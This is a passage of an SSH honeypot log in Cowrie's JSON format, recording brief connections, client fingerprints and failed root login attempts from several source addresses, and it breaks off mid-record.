{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:6f:fe:9a:10:7c:63:fe:52:9f:7d:91:e8:0c:c7:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXz13E3OFZPG0ayX9oMgjKTVgC1tRjyBCwb7vZFfkx03QwT8aeOx8eTdT2E96OE4ZMqS0KSV5WJ5EzvmJblsyvmQhJUWCoWSWZ84V8Gm9jOGpYelAGvoaKNkt/825GRbXIJPlbbOAMOXlnUPwwohRMR3hJE9N5LQzFU/XVV3ShTpquvagNNM4pr7669n8jx3mIUDl2Ec3B18DjzKBZ36CTQx/s65sVJtTX16kL0UuFP5bg1VM6kL2MP1qVXaFLRvIQEE7UYmw2CBVIvsWvpQTMnZQn/lczYT5jrBYhzJG5wRyBPTU9nsqW9LhM8Uimxhk5wfNCBOqccK+Jq7HjRwwO4UQHtrQePLJV1NEdTqZOlrFhvgBjRyxuMEx7Nma2Ioqs1Nhd+jkePp1L5/V2ByktG2y6Bi4ESzjY/aTtdhxwdg1EYzVXfbA//5h8z7oaeRUn0NzuabopoJd6ZmdacJIu4eEXZHGsuFsskPnjqxFEdtsFinPjRTEUiYgJWG6TOdzqP9f4U42tgbo36X3P8vYdDqgzJ5Kz6eujMOsx6stj6tzrvCNKaJMMAJCQCv1pQwrulpXYdBRjsics88Rl6Y/bJvG2hWtlBNURaT9Oqih/x4zBI9w7DSVvQJ9QapBAmYa9dMDaILktWedzZLsGMXzwRRAosPpVqjleTO0eyc8PeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:6f:fe:9a:10:7c:63:fe:52:9f:7d:91:e8:0c:c7:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:14.846725Z","src_ip":"157.173.100.92","session":"6af5a28463d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:6f:fe:9a:10:7c:63:fe:52:9f:7d:91:e8:0c:c7:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXz13E3OFZPG0ayX9oMgjKTVgC1tRjyBCwb7vZFfkx03QwT8aeOx8eTdT2E96OE4ZMqS0KSV5WJ5EzvmJblsyvmQhJUWCoWSWZ84V8Gm9jOGpYelAGvoaKNkt/825GRbXIJPlbbOAMOXlnUPwwohRMR3hJE9N5LQzFU/XVV3ShTpquvagNNM4pr7669n8jx3mIUDl2Ec3B18DjzKBZ36CTQx/s65sVJtTX16kL0UuFP5bg1VM6kL2MP1qVXaFLRvIQEE7UYmw2CBVIvsWvpQTMnZQn/lczYT5jrBYhzJG5wRyBPTU9nsqW9LhM8Uimxhk5wfNCBOqccK+Jq7HjRwwO4UQHtrQePLJV1NEdTqZOlrFhvgBjRyxuMEx7Nma2Ioqs1Nhd+jkePp1L5/V2ByktG2y6Bi4ESzjY/aTtdhxwdg1EYzVXfbA//5h8z7oaeRUn0NzuabopoJd6ZmdacJIu4eEXZHGsuFsskPnjqxFEdtsFinPjRTEUiYgJWG6TOdzqP9f4U42tgbo36X3P8vYdDqgzJ5Kz6eujMOsx6stj6tzrvCNKaJMMAJCQCv1pQwrulpXYdBRjsics88Rl6Y/bJvG2hWtlBNURaT9Oqih/x4zBI9w7DSVvQJ9QapBAmYa9dMDaILktWedzZLsGMXzwRRAosPpVqjleTO0eyc8PeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:14.851079Z","src_ip":"157.173.100.92","session":"6af5a28463d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:36:0c:8d:54:52:ea:31:dc:0d:53:43:8f:bc:f3:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA68Q4iEwxQmr8smQl1mB9IjbFHYQ9oCco4sjxn75Sylx96CTKwdEwmMaanCnnINJRldLsm6qsghou2XngKkdgDE7nOLLRdR2c34dzI5dpDZNPEoq1gvLHCT1J0E+mza6xdM4BV3cNwAW/tN440CuzySe7DehOGIzCuENg58PA5DqH41z8IPl8ka1smRaIlMxwdaY9NmCijLE7GfZrFMQVEeoNkh8hbW+LTwIPOXEaSUNfUgAdf1FTO18cKvI8rWWqo4BrfHrlPX1zCLMsuudL9BFxEgOdFTcKNH+rWINrIx/HKlsewSxYRxWxAqsKjFZ2U/CWak698YX8xQmq64ct","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:36:0c:8d:54:52:ea:31:dc:0d:53:43:8f:bc:f3:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:14.948083Z","src_ip":"157.173.100.92","session":"6af5a28463d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:36:0c:8d:54:52:ea:31:dc:0d:53:43:8f:bc:f3:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA68Q4iEwxQmr8smQl1mB9IjbFHYQ9oCco4sjxn75Sylx96CTKwdEwmMaanCnnINJRldLsm6qsghou2XngKkdgDE7nOLLRdR2c34dzI5dpDZNPEoq1gvLHCT1J0E+mza6xdM4BV3cNwAW/tN440CuzySe7DehOGIzCuENg58PA5DqH41z8IPl8ka1smRaIlMxwdaY9NmCijLE7GfZrFMQVEeoNkh8hbW+LTwIPOXEaSUNfUgAdf1FTO18cKvI8rWWqo4BrfHrlPX1zCLMsuudL9BFxEgOdFTcKNH+rWINrIx/HKlsewSxYRxWxAqsKjFZ2U/CWak698YX8xQmq64ct","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:14.952519Z","src_ip":"157.173.100.92","session":"6af5a28463d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:ca:f5:5b:fd:d7:8d:13:cc:99:28:5e:56:0e:66:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy79s/hJ/DIFfrSW3TrnwIe4/mbYL9Plr68iNrqPMyfAzAMqwNPat2wkE2eqjy+khd6plqCV5sxgjI8WDHe1bbLUX/bM7rGsM9N6OnfAN7aIAiWrTVyg9iaCZLtDoN38R1FWl8pJ8qRDZgiGJnmiEwcj5bn4/MPVhi7hZ94NyIVEE7zUEqh/wlF0rqek+HMsZ2BdRYFO0Tmh9QE6MsfBD966XRJyPGsmPwc+Fz2sWFbFm4tCHKTALqWKCCNYvB0qXTCpws/VVaXjynaNMLh9sTLN4J5RKzDv4HdYlAXt3sn1esFz62xmRQa0RyDQZfthwiUPx715XoAhAK0wNs9GX9c802OwnWqR7xmI7HxJK3nLi58+xncTwJNjok8OHS9x7kMuoEVwN9lTeJvnNmuToGR2zcmL0/uQIt3H6/EomT8SKin+GDUCC5sLuzZxnFsNPdgXCDIAq7kjbtnce0um2RGyzsuvrLCei68S8rkoOiC/jNo5ICLVQMULKyJNGPU6M=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:ca:f5:5b:fd:d7:8d:13:cc:99:28:5e:56:0e:66:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:15.049231Z","src_ip":"157.173.100.92","session":"6af5a28463d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:ca:f5:5b:fd:d7:8d:13:cc:99:28:5e:56:0e:66:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy79s/hJ/DIFfrSW3TrnwIe4/mbYL9Plr68iNrqPMyfAzAMqwNPat2wkE2eqjy+khd6plqCV5sxgjI8WDHe1bbLUX/bM7rGsM9N6OnfAN7aIAiWrTVyg9iaCZLtDoN38R1FWl8pJ8qRDZgiGJnmiEwcj5bn4/MPVhi7hZ94NyIVEE7zUEqh/wlF0rqek+HMsZ2BdRYFO0Tmh9QE6MsfBD966XRJyPGsmPwc+Fz2sWFbFm4tCHKTALqWKCCNYvB0qXTCpws/VVaXjynaNMLh9sTLN4J5RKzDv4HdYlAXt3sn1esFz62xmRQa0RyDQZfthwiUPx715XoAhAK0wNs9GX9c802OwnWqR7xmI7HxJK3nLi58+xncTwJNjok8OHS9x7kMuoEVwN9lTeJvnNmuToGR2zcmL0/uQIt3H6/EomT8SKin+GDUCC5sLuzZxnFsNPdgXCDIAq7kjbtnce0um2RGyzsuvrLCei68S8rkoOiC/jNo5ICLVQMULKyJNGPU6M=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:15.053707Z","src_ip":"157.173.100.92","session":"6af5a28463d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:15.151574Z","src_ip":"157.173.100.92","session":"6af5a28463d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":34394,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb8efc8bff58","protocol":"ssh","message":"New connection: 190.85.41.170:34394 (159.203.135.109:22) [session: eb8efc8bff58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:59.165909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:59.171160Z","src_ip":"190.85.41.170","session":"eb8efc8bff58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:59.245802Z","src_ip":"190.85.41.170","session":"eb8efc8bff58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brengoziscute","password":"0day.today","message":"login attempt [brengoziscute/0day.today] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:59.578298Z","src_ip":"190.85.41.170","session":"eb8efc8bff58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:00.655191Z","src_ip":"190.85.41.170","session":"eb8efc8bff58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":17842,"dst_ip":"159.203.135.109","dst_port":22,"session":"05a27733a927","protocol":"ssh","message":"New connection: 45.123.110.70:17842 (159.203.135.109:22) [session: 05a27733a927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:42.164847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:42.169833Z","src_ip":"45.123.110.70","session":"05a27733a927","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:42.405416Z","src_ip":"45.123.110.70","session":"05a27733a927","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testftp","message":"login attempt [root/testftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:43.370607Z","src_ip":"45.123.110.70","session":"05a27733a927","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:44.618181Z","src_ip":"45.123.110.70","session":"05a27733a927","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.185.239.222","src_port":45552,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7afdec287c4","protocol":"ssh","message":"New connection: 130.185.239.222:45552 (10.17.0.5:22) [session: c7afdec287c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:50.481680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:50.487064Z","src_ip":"130.185.239.222","session":"c7afdec287c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:50.511828Z","src_ip":"130.185.239.222","session":"c7afdec287c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:df:ab:fa:09:f6:3d:1b:d7:c1:08:a8:c4:49:54:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDj+8qfymsA3/RYy7J4u7HKBEj3eimmoSG17S+3dNtxFe2IqEcfcDTfmb6OA2QMUriFL1DOlC9itTD0uEN/lefLio/zCYnRa7CQz3PfRSk1xc5HEg+B47V1laoQE50Hl7Z1XNt9qD+PDqvahjfKPIb46g8eKxDDArcFV3tpqBTt2B11WT2YWDrsQMyPBUlw0AWdUHtZFq5yfwYB+sYJHnGUEblAPpl+vKTavzmK6tS0x3w5FjOQAluIwDyskoxqpG1CDdZOfgiRbaWG9k1Xgtz1yDG4d09bhw/p6zF1URfjUp9/r5HnKaSL6wv6Ak3wxXRhOu1KAiLbpXBaNJ4sjMN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:df:ab:fa:09:f6:3d:1b:d7:c1:08:a8:c4:49:54:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:50.609649Z","src_ip":"130.185.239.222","session":"c7afdec287c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:df:ab:fa:09:f6:3d:1b:d7:c1:08:a8:c4:49:54:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDj+8qfymsA3/RYy7J4u7HKBEj3eimmoSG17S+3dNtxFe2IqEcfcDTfmb6OA2QMUriFL1DOlC9itTD0uEN/lefLio/zCYnRa7CQz3PfRSk1xc5HEg+B47V1laoQE50Hl7Z1XNt9qD+PDqvahjfKPIb46g8eKxDDArcFV3tpqBTt2B11WT2YWDrsQMyPBUlw0AWdUHtZFq5yfwYB+sYJHnGUEblAPpl+vKTavzmK6tS0x3w5FjOQAluIwDyskoxqpG1CDdZOfgiRbaWG9k1Xgtz1yDG4d09bhw/p6zF1URfjUp9/r5HnKaSL6wv6Ak3wxXRhOu1KAiLbpXBaNJ4sjMN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:50.613618Z","src_ip":"130.185.239.222","session":"c7afdec287c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:95:42:21:13:5b:68:06:25:67:d6:06:90:28:e9:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZYGFwDo3RghALnPa4IIuKaz9MNNzcX/OR4aePdlLaHPvGa878tQi2wx7lqkYi1u7dnKkuVLFZ9RAA1PnaERgM/v3v6LAeKtEwFvOzB0aFzky8kyMmsv0oqS9EMKpI3ow+auD1ETmHp6qYxLxFd720pI5mkHualoP/LkFgiKpOPcM1UagXcOZTBHUOM8tk5qypywy+hxv+rggRRE6pBOnbn+9TrvOcqZ9S/DwJ+xC2Z1RV4SRizXtc5FxO/2JHrkpsPT/Rjb+Dddr5uyT9VX/Mbf1cIu59pDJthkHdM2eNbDn7Robk7hMIoykk4x9HAUScjnWfb7gylHAEkXyL3AIZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:95:42:21:13:5b:68:06:25:67:d6:06:90:28:e9:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:50.639011Z","src_ip":"130.185.239.222","session":"c7afdec287c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:95:42:21:13:5b:68:06:25:67:d6:06:90:28:e9:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZYGFwDo3RghALnPa4IIuKaz9MNNzcX/OR4aePdlLaHPvGa878tQi2wx7lqkYi1u7dnKkuVLFZ9RAA1PnaERgM/v3v6LAeKtEwFvOzB0aFzky8kyMmsv0oqS9EMKpI3ow+auD1ETmHp6qYxLxFd720pI5mkHualoP/LkFgiKpOPcM1UagXcOZTBHUOM8tk5qypywy+hxv+rggRRE6pBOnbn+9TrvOcqZ9S/DwJ+xC2Z1RV4SRizXtc5FxO/2JHrkpsPT/Rjb+Dddr5uyT9VX/Mbf1cIu59pDJthkHdM2eNbDn7Robk7hMIoykk4x9HAUScjnWfb7gylHAEkXyL3AIZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:50.643023Z","src_ip":"130.185.239.222","session":"c7afdec287c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:91:f0:f0:b1:8a:2b:fd:fc:29:81:b0:44:14:58:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyBasPmZ8F5oALKNCUVh7Dq0ZINVkPVbaa5FIpCDiwszFUxmggg5mGhgG0gireru6As9UrsU4pVhGml2vtSRw0PstKHExcdCOZdAKAis7a8DcxFDVslrJacd8ZLqpSz9exAtHwneqC8T943Mn41LL+g6VxdX0Ie/2sLRBfGK7IfPsU9OjPsk+CDSeYeEV6iawJzHhDqLW9GvapQbuuaEkbFZEi5P+5xvCvEa3GOftvqYe7Og1GFIFa9Wkj9OEpSFJx93xkM1cOwR8hIX9zK05oztBO4dJ0o8ha4uoulm/nsCmM4nGVLPUpfCHx7QBsHBFdqml0OMNMzNsJUEm9pfUlf4I0Bn3VR+8IQSjc9pX3+FhcgnqDPw7+vDbGV+zP9BVc8IdQqeqFzSUXYhblb7V+DdGsxIYevU4JmFgG/U5io9vpBU6UwCG0RKgM6LxvWZSWqfSB0BGGfRauGB1ZNJz/hbJAQauDWxPXgzmBgmM+XQMRGR8MJPYpjqOs6hAOKvqteDexBhzhE/JVjv9L4ve6QedYqHXXZBSjHHUXh7HGl6RFUE96bqBhviLCOWuuSUDexPsqCISEQnxErBERkI/1BM+m8FWW3N/omdhYb2K3t72cueIl/dPesAaliaBRcvUG7b+pPtdav1jYR3r8Lpgn/JgXXDFDIf+S/7OXmTeMYw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:91:f0:f0:b1:8a:2b:fd:fc:29:81:b0:44:14:58:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:50.669729Z","src_ip":"130.185.239.222","session":"c7afdec287c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:91:f0:f0:b1:8a:2b:fd:fc:29:81:b0:44:14:58:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyBasPmZ8F5oALKNCUVh7Dq0ZINVkPVbaa5FIpCDiwszFUxmggg5mGhgG0gireru6As9UrsU4pVhGml2vtSRw0PstKHExcdCOZdAKAis7a8DcxFDVslrJacd8ZLqpSz9exAtHwneqC8T943Mn41LL+g6VxdX0Ie/2sLRBfGK7IfPsU9OjPsk+CDSeYeEV6iawJzHhDqLW9GvapQbuuaEkbFZEi5P+5xvCvEa3GOftvqYe7Og1GFIFa9Wkj9OEpSFJx93xkM1cOwR8hIX9zK05oztBO4dJ0o8ha4uoulm/nsCmM4nGVLPUpfCHx7QBsHBFdqml0OMNMzNsJUEm9pfUlf4I0Bn3VR+8IQSjc9pX3+FhcgnqDPw7+vDbGV+zP9BVc8IdQqeqFzSUXYhblb7V+DdGsxIYevU4JmFgG/U5io9vpBU6UwCG0RKgM6LxvWZSWqfSB0BGGfRauGB1ZNJz/hbJAQauDWxPXgzmBgmM+XQMRGR8MJPYpjqOs6hAOKvqteDexBhzhE/JVjv9L4ve6QedYqHXXZBSjHHUXh7HGl6RFUE96bqBhviLCOWuuSUDexPsqCISEQnxErBERkI/1BM+m8FWW3N/omdhYb2K3t72cueIl/dPesAaliaBRcvUG7b+pPtdav1jYR3r8Lpgn/JgXXDFDIf+S/7OXmTeMYw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:56:50.673488Z","src_ip":"130.185.239.222","session":"c7afdec287c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:c6:63:4a:b7:96:8e:96:f5:22:ec:c0:af:9e:ad:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD4I5lT3wikyObfooj+jpPKH6xHW0cJG4Bnhwyef86339t+JMC4D8KRq8E+PMz87NcWIGlRvwuVo35it1GMseM0nOakwYzDYZbRar8CzfwI9/A024boWWuqub3TiIlwfCLvNd859QuZfOYsK7U7vRBVhEkqHUQaSAQQRD0vGvzP1wYFTxMuiIBJBFTGXFbOkQt56mNcDNoz0HS5DbhW3HX60/s4J7XQpIReKMxB+1HRjg7I+ixga5fTkNwrKeoL1Ry4SZCJ/yEoo2IBkYhfRhTbSEruRm7FjhNJa18tCWjIkPQRtJSs03E+AJ8Fw6q6bbYx8U61Gxf7+0kR1+Zfm34AMzVi5RGt71ZG+HL2c75dRGSR/42vwzlVY1InMpx+wwbFaUP+F948aK3yQcrvfyB35oAyVzvVyiarAOjidw5ku1MsnoP8j0WYTcUunhkc44N1bhbUwk+UISxTUq87noZcfaC5YurAoTADyRU4baMpZ0sMahz+C2+nbFHTj8qlY6LS6UmDK9Febxh/svpE7NKuQL+4v2MJKHalGQge7sap6wur7zSwSh5a13BR98QR9BCrwW8sZFh9O3NheJihBOSH2F3loAV7tXxevZV4KWIYQVzxT7J8pOr3twdKIdVhzFW22nK5NeERpOe1AG+tEMjLvQSitLXF6ibvxR1HxgCeQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 